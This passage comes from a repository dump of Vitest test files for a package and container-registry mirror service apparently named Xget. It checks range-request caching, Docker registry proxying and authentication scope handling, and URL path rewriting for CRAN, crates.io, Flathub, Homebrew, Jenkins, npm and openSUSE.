     if (contentType) {\n            expect(contentType.toLowerCase()).toContain(testCase.expectedType);\n          }\n        }\n      }\n    }, 30000);\n  });\n\n  describe('Range Request Support', () => {\n    it('should support partial content requests', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/large-file.zip';\n      const response = await SELF.fetch(testUrl, {\n        headers: {\n          Range: 'bytes=0-1023'\n        }\n      });\n\n      // Should either support range requests (206) or return full content (200)\n      expect([200, 206, 404]).toContain(response.status);\n\n      if (response.status === 206) {\n        expect(response.headers.get('Content-Range')).toBeTruthy();\n      }\n    });\n\n    it('should handle range requests with proper caching strategy', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/test-file.pdf';\n\n      // First, make a regular request to cache the full content\n      const fullResponse = await SELF.fetch(testUrl);\n\n      if (fullResponse.status === 200) {\n        // Verify the response has proper headers for Range support\n        expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');\n        expect(fullResponse.headers.get('Cache-Control')).toContain('public');\n\n        // Now make a range request\n        const rangeResponse = await SELF.fetch(testUrl, {\n          headers: {\n            Range: 'bytes=0-1023'\n          }\n        });\n\n        // Should either get partial content or full content\n        expect([200, 206]).toContain(rangeResponse.status);\n\n        if (rangeResponse.status === 206) {\n          expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();\n          expect(rangeResponse.headers.get('Content-Length')).toBe('1024');\n        }\n      }\n    });\n\n    it('should avoid compression for media files', async () => {\n      const mediaFiles = [\n        'https://example.com/gh/test/repo/video.mp4',\n        'https://example.com/gh/test/repo/audio.mp3',\n        'https://example.com/gh/test/repo/image.jpg',\n        'https://example.com/gh/test/repo/archive.zip'\n      ];\n\n      for (const url of mediaFiles) {\n        const response = await SELF.fetch(url, { method: 'HEAD' });\n\n        if (response.status === 200) {\n          // Media files should have Accept-Ranges header for proper range support\n          expect(response.headers.get('Accept-Ranges')).toBe('bytes');\n\n          // Should not be compressed if it's a media file\n          const contentEncoding = response.headers.get('Content-Encoding');\n          if (contentEncoding) {\n            expect(['identity', null, undefined]).toContain(contentEncoding);\n          }\n        }\n      }\n    });\n\n    it('should cache only 200 responses, not 206 responses', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/large-document.pdf';\n\n      // Make a range request first\n      const rangeResponse = await SELF.fetch(testUrl, {\n        headers: {\n          Range: 'bytes=0-1023'\n        }\n      });\n\n      // Verify performance metrics don't show 206 caching attempts\n      if (rangeResponse.status === 206) {\n        const metrics = rangeResponse.headers.get('X-Performance-Metrics');\n        if (metrics) {\n          const parsedMetrics = JSON.parse(metrics);\n          // Should not have cache_put_206_error or similar\n          expect(parsedMetrics).not.toHaveProperty('cache_put_error');\n        }\n      }\n\n      // Follow up with a full request to ensure it gets cached properly\n      const fullResponse = await SELF.fetch(testUrl);\n\n      if (fullResponse.status === 200) {\n        expect(fullResponse.headers.get('Cache-Control')).toContain('public');\n        expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');\n      }\n    });\n  });\n\n  describe('Cross-Platform Consistency', () => {\n    it('should handle similar requests consistently across platforms', async () => {\n      const testCases = [\n        'https://example.com/gh/test/repo/README.md',\n        'https://example.com/gl/test/repo/README.md'\n      ];\n\n      const responses = await Promise.all(\n        testCases.map(url => SELF.fetch(url, { method: 'HEAD' }))\n      );\n\n      // All responses should have consistent security headers\n      responses.forEach((/** @type {Response} */ response) => {\n        expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();\n        expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "test/platforms/container-registry.test.js",
    "content": "import { SELF } from 'cloudflare:test';\nimport { describe, expect, it } from 'vitest';\n\ndescribe('Container Registry Support', () => {\n  describe('Docker API Version Check', () => {\n    it('should handle /v2/ endpoint correctly', async () => {\n      const response = await SELF.fetch('https://example.com/v2/');\n\n      expect(response.status).toBe(200);\n      expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');\n      expect(response.headers.get('Content-Type')).toBe('application/json');\n\n      const body = await response.text();\n      expect(body).toBe('{}');\n    });\n\n    it('should handle /v2 endpoint correctly', async () => {\n      const response = await SELF.fetch('https://example.com/v2');\n\n      expect(response.status).toBe(200);\n      expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');\n    });\n  });\n\n  describe('Container Registry URL Transformation', () => {\n    it('should handle Quay.io registry requests', async () => {\n      const testUrl = 'https://example.com/cr/quay/v2/quay/redis/manifests/latest';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to Quay.io\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle Google Container Registry requests', async () => {\n      const testUrl = 'https://example.com/cr/gcr/v2/distroless/base/manifests/latest';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to GCR\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle GitHub Container Registry requests', async () => {\n      const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to GHCR\n      expect(response.status).not.toBe(400);\n    });\n  });\n\n  describe('Docker Authentication', () => {\n    it('should pass through 401 authentication challenges', async () => {\n      // This test simulates an upstream 401 response which should be passed through\n      const testUrl = 'https://example.com/cr/ghcr/v2/private/repo/manifests/latest';\n      const response = await SELF.fetch(testUrl, {\n        headers: {\n          Accept: 'application/vnd.docker.distribution.manifest.v2+json'\n        }\n      });\n\n      // Should not convert 401 to 500 or other error codes\n      if (response.status === 401) {\n        // WWW-Authenticate header should be preserved\n        expect(response.headers.has('WWW-Authenticate') || response.status === 401).toBeTruthy();\n      }\n    });\n\n    it('should handle container registry token requests', async () => {\n      const testUrl = 'https://example.com/cr/ghcr/v2/auth';\n      const response = await SELF.fetch(testUrl, {\n        headers: {\n          Authorization: 'Basic dGVzdDp0ZXN0'\n        }\n      });\n\n      // Should attempt to proxy auth requests\n      expect(response.status).not.toBe(400);\n    }, 15000);\n\n    it('should transform scope parameter correctly for Docker Hub', async () => {\n      // Test that scope parameter removes Xget path prefix\n      const testUrl =\n        'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/mlikiowa/napcat-docker:pull&service=Xget';\n      const response = await SELF.fetch(testUrl);\n\n      // Should not return 400 Bad Request (which indicates malformed scope)\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should transform scope parameter correctly for GHCR', async () => {\n      // Test that scope parameter removes Xget path prefix\n      const testUrl =\n        'https://example.com/cr/ghcr/v2/auth?scope=repository:cr/ghcr/user/repo:pull&service=Xget';\n      const response = await SELF.fetch(testUrl);\n\n      // Should not return 400 Bad Request (which indicates malformed scope)\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle scope parameter for official Docker Hub images', async () => {\n      // Test that scope parameter is transformed and adds library/ prefix for official images\n      const testUrl =\n        'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget';\n      const response = await SELF.fetch(testUrl);\n\n      // Should not return 400 Bad Request\n      expect(response.status).not.toBe(400);\n    });\n  });\n\n  describe('Docker Request Detection', () => {\n    it('should detect Docker requests by path', async () => {\n      const response = await SELF.fetch(\n        'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',\n        {\n          method: 'GET'\n        }\n      );\n\n      // Should not reject with 405 (method not allowed)\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should detect Docker requests by Accept header', async () => {\n      const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {\n        headers: {\n          Accept: 'application/vnd.docker.distribution.manifest.v2+json'\n        }\n      });\n\n      // Should not reject with 405 (method not allowed)\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should detect Docker requests by User-Agent', async () => {\n      const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {\n        headers: {\n          'User-Agent': 'docker/20.10.7'\n        }\n      });\n\n      // Should not reject with 405 (method not allowed)\n      expect(response.status).not.toBe(405);\n    });\n  });\n\n  describe('Docker HTTP Methods', () => {\n    it('should allow GET for manifest requests', async () => {\n      const response = await SELF.fetch(\n        'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',\n        {\n          method: 'GET'\n        }\n      );\n\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should allow HEAD for manifest requests', async () => {\n      const response = await SELF.fetch(\n        'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',\n        {\n          method: 'HEAD'\n        }\n      );\n\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should allow PUT for manifest uploads', async () => {\n      const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {\n        method: 'PUT',\n        headers: {\n          'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json'\n        },\n        body: JSON.stringify({\n          schemaVersion: 2,\n          mediaType: 'application/vnd.docker.distribution.manifest.v2+json'\n        })\n      });\n\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should allow POST for blob uploads', async () => {\n      const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/blobs/uploads/', {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/octet-stream'\n        }\n      });\n\n      expect(response.status).not.toBe(405);\n    });\n  });\n\n  describe('Container Registry Error Handling', () => {\n    it('should reject non-cr prefixed Docker requests', async () => {\n      const response = await SELF.fetch(\n        'https://example.com/v2/nginxinc/nginx-unprivileged/manifests/latest'\n      );\n\n      expect(response.status).toBe(400);\n      expect(await response.text()).toContain('container registry requests must use /cr/ prefix');\n    });\n  });\n\n  describe('Container Registry Headers', () => {\n    it('should preserve container-specific headers', async () => {\n      const response = await SELF.fetch(\n        'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',\n        {\n          headers: {\n            'Container-Content-Digest': 'sha256:abc123',\n            Accept: 'application/vnd.docker.distribution.manifest.v2+json',\n            Authorization: 'Bearer token123'\n          }\n        }\n      );\n\n      // Should not reject Docker-specific headers\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should not cache container registry responses', async () => {\n      const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';\n\n      const response = await SELF.fetch(testUrl);\n\n      // Container registry responses should not be cached\n      const cacheControl = response.headers.get('Cache-Control');\n      if (cacheControl) {\n        expect(cacheControl).not.toContain('max-age=1800');\n      }\n    });\n  });\n\n  describe('Docker Hub Specific Tests', () => {\n    it('should handle Docker Hub official images (single-name images)', async () => {\n      // Official images like nginx, redis are stored as library/nginx in Docker Hub\n      const testUrl = 'https://example.com/cr/docker/v2/nginx/manifests/latest';\n      const response = await SELF.fetch(testUrl, {\n        headers: {\n          Accept: 'application/vnd.docker.distribution.manifest.v2+json'\n        }\n      });\n\n      // Should attempt to proxy to Docker Hub\n      expect(response.status).not.toBe(400);\n    }, 30000);\n\n    it('should handle Docker Hub user images (namespace/image format)', async () => {\n      // User images already have namespace prefix\n      const testUrl =\n        'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';\n      const response = await SELF.fetch(testUrl, {\n        headers: {\n          Accept: 'application/vnd.docker.distribution.manifest.v2+json'\n        }\n      });\n\n      // Should attempt to proxy to Docker Hub\n      expect(response.status).not.toBe(400);\n    }, 30000);\n\n    it('should allow GET for Docker Hub manifest requests', async () => {\n      const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {\n        method: 'GET',\n        headers: {\n          Accept: 'application/vnd.docker.distribution.manifest.v2+json'\n        }\n      });\n\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should allow HEAD for Docker Hub manifest requests', async () => {\n      const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {\n        method: 'HEAD',\n        headers: {\n          Accept: 'application/vnd.docker.distribution.manifest.v2+json'\n        }\n      });\n\n      expect(response.status).not.toBe(405);\n    });\n  });\n});\n"
  },
  {
    "path": "test/platforms/cran.test.js",
    "content": "import { describe, expect, it } from 'vitest';\nimport { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';\nimport { transformPath } from '../../src/routing/platform-transformers.js';\n\ndescribe('CRAN Platform Configuration', () => {\n  it('should have CRAN platform configured', () => {\n    expect(PLATFORMS.cran).toBe('https://cran.r-project.org');\n  });\n\n  it('should transform CRAN paths correctly', () => {\n    const testCases = [\n      {\n        input: '/cran/src/contrib/ggplot2_3.5.2.tar.gz',\n        expected: '/src/contrib/ggplot2_3.5.2.tar.gz',\n        description: 'package source file'\n      },\n      {\n        input: '/cran/web/packages/dplyr/DESCRIPTION',\n        expected: '/web/packages/dplyr/DESCRIPTION',\n        description: 'package description file'\n      },\n      {\n        input: '/cran/bin/windows/contrib/4.3/ggplot2_3.4.4.zip',\n        expected: '/bin/windows/contrib/4.3/ggplot2_3.4.4.zip',\n        description: 'Windows binary package'\n      },\n      {\n        input: '/cran/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz',\n        expected: '/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz',\n        description: 'macOS binary package'\n      },\n      {\n        input: '/cran/web/packages/packages.rds',\n        expected: '/web/packages/packages.rds',\n        description: 'package index file'\n      }\n    ];\n\n    testCases.forEach(({ input, expected, description }) => {\n      const result = transformPath(input, 'cran');\n      expect(result, `Failed for ${description}: ${input}`).toBe(expected);\n    });\n  });\n\n  it('should handle root path correctly', () => {\n    const result = transformPath('/cran/', 'cran');\n    expect(result).toBe('/');\n  });\n\n  it('should handle paths without platform prefix', () => {\n    const result = transformPath('/src/contrib/ggplot2_3.5.2.tar.gz', 'cran');\n    expect(result).toBe('/src/contrib/ggplot2_3.5.2.tar.gz');\n  });\n});\n"
  },
  {
    "path": "test/platforms/crates.test.js",
    "content": "import { describe, expect, it } from 'vitest';\nimport { transformPath } from '../../src/routing/platform-transformers.js';\n\ndescribe('crates.io path transformation', () => {\n  it('should transform crate download URLs correctly', () => {\n    const path = '/crates/serde/1.0.0/download';\n    const result = transformPath(path, 'crates');\n    expect(result).toBe('/api/v1/crates/serde/1.0.0/download');\n  });\n\n  it('should transform crate metadata URLs correctly', () => {\n    const path = '/crates/serde';\n    const result = transformPath(path, 'crates');\n    expect(result).toBe('/api/v1/crates/serde');\n  });\n\n  it('should transform crate version URLs correctly', () => {\n    const path = '/crates/serde/1.0.0';\n    const result = transformPath(path, 'crates');\n    expect(result).toBe('/api/v1/crates/serde/1.0.0');\n  });\n\n  it('should transform search URLs correctly', () => {\n    const path = '/crates/?q=serde';\n    const result = transformPath(path, 'crates');\n    expect(result).toBe('/api/v1/crates?q=serde');\n  });\n\n  it('should transform root crates URL correctly', () => {\n    const path = '/crates/';\n    const result = transformPath(path, 'crates');\n    expect(result).toBe('/api/v1/crates');\n  });\n});\n"
  },
  {
    "path": "test/platforms/flathub.test.js",
    "content": "import { describe, expect, it } from 'vitest';\nimport { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';\nimport { transformPath } from '../../src/routing/platform-transformers.js';\n\ndescribe('Flathub Platform Configuration', () => {\n  it('should have Flathub platform configured', () => {\n    expect(PLATFORMS.flathub).toBe('https://dl.flathub.org');\n  });\n\n  it('should transform Flathub repository paths correctly', () => {\n    const testCases = [\n      {\n        input: '/flathub/repo/summary',\n        expected: '/repo/summary',\n        description: 'repository summary'\n      },\n      {\n        input: '/flathub/repo/summary.sig',\n        expected: '/repo/summary.sig',\n        description: 'repository summary signature'\n      },\n      {\n        input: '/flathub/repo/flathub.flatpakrepo',\n        expected: '/repo/flathub.flatpakrepo',\n        description: 'remote descriptor'\n      },\n      {\n        input: '/flathub/repo/appstream/org.gnome.gedit.flatpakref',\n        expected: '/repo/appstream/org.gnome.gedit.flatpakref',\n        description: 'application reference'\n      },\n      {\n        input: '/flathub/repo/objects/12/34567890abcdef.filez',\n        expected: '/repo/objects/12/34567890abcdef.filez',\n        description: 'content-addressed object'\n      },\n      {\n        input: '/flathub/repo/deltas/ABCD.superblock',\n        expected: '/repo/deltas/ABCD.superblock',\n        description: 'static delta'\n      }\n    ];\n\n    testCases.forEach(({ input, expected, description }) => {\n      const result = transformPath(input, 'flathub');\n      expect(result, `Failed for ${description}: ${input}`).toBe(expected);\n    });\n  });\n\n  it('should handle root path correctly', () => {\n    expect(transformPath('/flathub/', 'flathub')).toBe('/');\n  });\n\n  it('should preserve already transformed Flathub repository paths', () => {\n    expect(transformPath('/repo/summary', 'flathub')).toBe('/repo/summary');\n  });\n});\n"
  },
  {
    "path": "test/platforms/homebrew.test.js",
    "content": "import { describe, expect, it } from 'vitest';\nimport { transformPath } from '../../src/routing/platform-transformers.js';\n\ndescribe('Homebrew path transformation', () => {\n  describe('homebrew-api platform', () => {\n    it('should handle formula API paths correctly', () => {\n      const path = '/homebrew/api/formula/git.json';\n      const result = transformPath(path, 'homebrew-api');\n      expect(result).toBe('/formula/git.json');\n    });\n\n    it('should handle cask API paths correctly', () => {\n      const path = '/homebrew/api/cask/docker.json';\n      const result = transformPath(path, 'homebrew-api');\n      expect(result).toBe('/cask/docker.json');\n    });\n\n    it('should handle formula list API paths correctly', () => {\n      const path = '/homebrew/api/formula.json';\n      const result = transformPath(path, 'homebrew-api');\n      expect(result).toBe('/formula.json');\n    });\n\n    it('should handle cask list API paths correctly', () => {\n      const path = '/homebrew/api/cask.json';\n      const result = transformPath(path, 'homebrew-api');\n      expect(result).toBe('/cask.json');\n    });\n  });\n\n  describe('homebrew-bottles platform', () => {\n    it('should handle bottle manifest paths correctly', () => {\n      const path = '/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0';\n      const result = transformPath(path, 'homebrew-bottles');\n      expect(result).toBe('/v2/homebrew/core/git/manifests/2.39.0');\n    });\n\n    it('should handle bottle blob paths correctly', () => {\n      const path = '/homebrew/bottles/v2/homebrew/core/git/blobs/sha256:abcd1234';\n      const result = transformPath(path, 'homebrew-bottles');\n      expect(result).toBe('/v2/homebrew/core/git/blobs/sha256:abcd1234');\n    });\n\n    it('should handle bottle catalog paths correctly', () => {\n      const path = '/homebrew/bottles/v2/_catalog';\n      const result = transformPath(path, 'homebrew-bottles');\n      expect(result).toBe('/v2/_catalog');\n    });\n  });\n\n  describe('homebrew platform', () => {\n    it('should handle brew repository paths correctly', () => {\n      const path = '/homebrew/brew.git/info/refs';\n      const result = transformPath(path, 'homebrew');\n      expect(result).toBe('/brew.git/info/refs');\n    });\n\n    it('should handle homebrew-core repository paths correctly', () => {\n      const path = '/homebrew/homebrew-core.git/info/refs';\n      const result = transformPath(path, 'homebrew');\n      expect(result).toBe('/homebrew-core.git/info/refs');\n    });\n\n    it('should handle homebrew-cask repository paths correctly', () => {\n      const path = '/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz';\n      const result = transformPath(path, 'homebrew');\n      expect(result).toBe('/homebrew-cask.git/archive/refs/heads/master.tar.gz');\n    });\n\n    it('should handle raw file downloads correctly', () => {\n      const path = '/homebrew/homebrew-core/archive/master.tar.gz';\n      const result = transformPath(path, 'homebrew');\n      expect(result).toBe('/homebrew-core/archive/master.tar.gz');\n    });\n  });\n});\n"
  },
  {
    "path": "test/platforms/jenkins.test.js",
    "content": "import { describe, expect, it } from 'vitest';\nimport { transformPath } from '../../src/routing/platform-transformers.js';\n\ndescribe('Jenkins Plugin Support', () => {\n  describe('Update Center Transformations', () => {\n    it('should redirect default update-center.json to current', () => {\n      const result = transformPath('/jenkins/update-center.json', 'jenkins');\n      expect(result).toBe('/current/update-center.json');\n    });\n\n    it('should redirect update-center.actual.json to current', () => {\n      const result = transformPath('/jenkins/update-center.actual.json', 'jenkins');\n      expect(result).toBe('/current/update-center.actual.json');\n    });\n\n    it('should preserve current paths as-is', () => {\n      const result = transformPath('/jenkins/current/update-center.json', 'jenkins');\n      expect(result).toBe('/current/update-center.json');\n    });\n\n    it('should preserve experimental paths as-is', () => {\n      const result = transformPath('/jenkins/experimental/update-center.json', 'jenkins');\n      expect(result).toBe('/experimental/update-center.json');\n    });\n\n    it('should preserve download paths as-is', () => {\n      const result = transformPath('/jenkins/download/plugins/git/5.2.1/git.hpi', 'jenkins');\n      expect(result).toBe('/download/plugins/git/5.2.1/git.hpi');\n    });\n  });\n\n  describe('Plugin Download Transformations', () => {\n    it('should handle Maven plugin download', () => {\n      const path = '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi';\n      const result = transformPath(path, 'jenkins');\n      expect(result).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi');\n    });\n\n    it('should handle Git plugin download', () => {\n      const path = '/jenkins/download/plugins/git/5.2.1/git.hpi';\n      const result = transformPath(path, 'jenkins');\n      expect(result).toBe('/download/plugins/git/5.2.1/git.hpi');\n    });\n\n    it('should handle workflow aggregator plugin download', () => {\n      const path =\n        '/jenkins/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi';\n      const result = transformPath(path, 'jenkins');\n      expect(result).toBe(\n        '/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi'\n      );\n    });\n\n    it('should handle blueocean plugin download', () => {\n      const path = '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi';\n      const result = transformPath(path, 'jenkins');\n      expect(result).toBe('/download/plugins/blueocean/1.27.8/blueocean.hpi');\n    });\n  });\n\n  describe('Special Path Handling', () => {\n    it('should prefix unknown paths with current', () => {\n      const result = transformPath('/jenkins/unknown-path', 'jenkins');\n      expect(result).toBe('/current/unknown-path');\n    });\n\n    it('should handle paths with query parameters', () => {\n      const result = transformPath('/jenkins/update-center.json?version=2.401', 'jenkins');\n      expect(result).toBe('/current/update-center.json?version=2.401');\n    });\n\n    it('should handle deep nested paths', () => {\n      const result = transformPath('/jenkins/some/deep/nested/path', 'jenkins');\n      expect(result).toBe('/current/some/deep/nested/path');\n    });\n\n    it('should handle root path', () => {\n      const result = transformPath('/jenkins/', 'jenkins');\n      expect(result).toBe('/current/');\n    });\n  });\n\n  describe('Real-world Jenkins URLs', () => {\n    const testCases = [\n      {\n        description: 'Jenkins update center',\n        input: '/jenkins/update-center.json',\n        expected: '/current/update-center.json'\n      },\n      {\n        description: 'Jenkins experimental update center',\n        input: '/jenkins/experimental/update-center.json',\n        expected: '/experimental/update-center.json'\n      },\n      {\n        description: 'Git plugin latest',\n        input: '/jenkins/download/plugins/git/5.2.1/git.hpi',\n        expected: '/download/plugins/git/5.2.1/git.hpi'\n      },\n      {\n        description: 'Maven plugin',\n        input: '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi',\n        expected: '/download/plugins/maven-plugin/3.27/maven-plugin.hpi'\n      },\n      {\n        description: 'Docker workflow plugin',\n        input: '/jenkins/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi',\n        expected: '/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi'\n      },\n      {\n        description: 'Blue Ocean plugin',\n        input: '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi',\n        expected: '/download/plugins/blueocean/1.27.8/blueocean.hpi'\n      }\n    ];\n\n    testCases.forEach(({ description, input, expected }) => {\n      it(`should transform ${description} correctly`, () => {\n        const result = transformPath(input, 'jenkins');\n        expect(result).toBe(expected);\n      });\n    });\n  });\n\n  describe('Version Compatibility', () => {\n    it('should handle various plugin version formats', () => {\n      const versionFormats = [\n        '1.0.0',\n        '2.34.1',\n        '596.v8c21c963d92d',\n        '563.vd5d2e5c4007f',\n        '1.27.8',\n        '3.27'\n      ];\n\n      versionFormats.forEach(version => {\n        const path = `/jenkins/download/plugins/test-plugin/${version}/test-plugin.hpi`;\n        const result = transformPath(path, 'jenkins');\n        expect(result).toBe(`/download/plugins/test-plugin/${version}/test-plugin.hpi`);\n      });\n    });\n\n    it('should handle plugin names with special characters', () => {\n      const pluginNames = [\n        'maven-plugin',\n        'workflow-aggregator',\n        'docker-workflow',\n        'ant',\n        'build-timeout',\n        'git',\n        'github',\n        'matrix-auth'\n      ];\n\n      pluginNames.forEach(pluginName => {\n        const path = `/jenkins/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`;\n        const result = transformPath(path, 'jenkins');\n        expect(result).toBe(`/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "test/platforms/npm-fix.test.js",
    "content": "import { describe, expect, it } from 'vitest';\n\ndescribe('npm URL Rewriting Fix', () => {\n  it('should correctly rewrite npm registry URLs to preserve package names', () => {\n    const mockOriginalText = JSON.stringify({\n      name: 'npm',\n      versions: {\n        '11.5.1': {\n          dist: {\n            tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'\n          }\n        }\n      }\n    });\n\n    // Simulate the regex replacement that happens in the code\n    const rewrittenText = mockOriginalText.replace(\n      /https:\\/\\/registry.npmjs.org\\/([^/]+)/g,\n      'https://xget.xi-xu.me/npm/$1'\n    );\n\n    const rewrittenData = JSON.parse(rewrittenText);\n\n    // Verify the URL is correctly rewritten\n    expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(\n      'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'\n    );\n  });\n\n  it('should handle scoped packages correctly', () => {\n    const mockOriginalText = JSON.stringify({\n      name: '@types/node',\n      versions: {\n        '20.0.0': {\n          dist: {\n            tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz'\n          }\n        }\n      }\n    });\n\n    const rewrittenText = mockOriginalText.replace(\n      /https:\\/\\/registry.npmjs.org\\/([^/]+)/g,\n      'https://xget.xi-xu.me/npm/$1'\n    );\n\n    const rewrittenData = JSON.parse(rewrittenText);\n\n    expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe(\n      'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz'\n    );\n  });\n\n  it('should handle multiple URLs in the same JSON response', () => {\n    const mockOriginalText = JSON.stringify({\n      dist: {\n        tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz'\n      },\n      dependencies: {\n        dep: {\n          dist: {\n            tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz'\n          }\n        }\n      }\n    });\n\n    const rewrittenText = mockOriginalText.replace(\n      /https:\\/\\/registry.npmjs.org\\/([^/]+)/g,\n      'https://xget.xi-xu.me/npm/$1'\n    );\n\n    const rewrittenData = JSON.parse(rewrittenText);\n\n    expect(rewrittenData.dist.tarball).toBe(\n      'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz'\n    );\n    expect(rewrittenData.dependencies.dep.dist.tarball).toBe(\n      'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz'\n    );\n  });\n});\n"
  },
  {
    "path": "test/platforms/opensuse.test.js",
    "content": "import { describe, expect, it } from 'vitest';\nimport { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';\nimport { transformPath } from '../../src/routing/platform-transformers.js';\n\ndescribe('openSUSE Platform Configuration', () => {\n  it('should have openSUSE platform configured', () => {\n    expect(PLATFORMS.opensuse).toBe('https://download.opensuse.org');\n  });\n\n  it('should transform openSUSE paths correctly', () => {\n    const testCases = [\n      {\n        input:\n          '/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',\n        expected: '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',\n        description: 'Leap package file'\n      },\n      {\n        input: '/opensuse/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm',\n        expected: '/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm',\n        description: 'Tumbleweed package file'\n      },\n      {\n        input: '/opensuse/distribution/leap/15.5/repo/oss/repodata/repomd.xml',\n        expected: '/distribution/leap/15.5/repo/oss/repodata/repomd.xml',\n        description: 'repository metadata'\n      },\n      {\n        input:\n          '/opensuse/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm',\n        expected:\n          '/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm',\n        description: 'source package'\n      },\n      {\n        input: '/opensuse/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm',\n        expected: '/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm',\n        description: 'update package'\n      }\n    ];\n\n    testCases.forEach(({ input, expected, description }) => {\n      const result = transformPath(input, 'opensuse');\n      expect(result, `Failed for ${description}: ${input}`).toBe(expected);\n    });\n  });\n\n  it('should handle root path correctly', () => {\n    const result = transformPath('/opensuse/', 'opensuse');\n    expect(result).toBe('/');\n  });\n\n  it('should handle paths without platform prefix', () => {\n    const result = transformPath(\n      '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',\n      'opensuse'\n    );\n    expect(result).toBe(\n      '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm'\n    );\n  });\n});\n"
  },
  {
    "path": "test/setup.js",
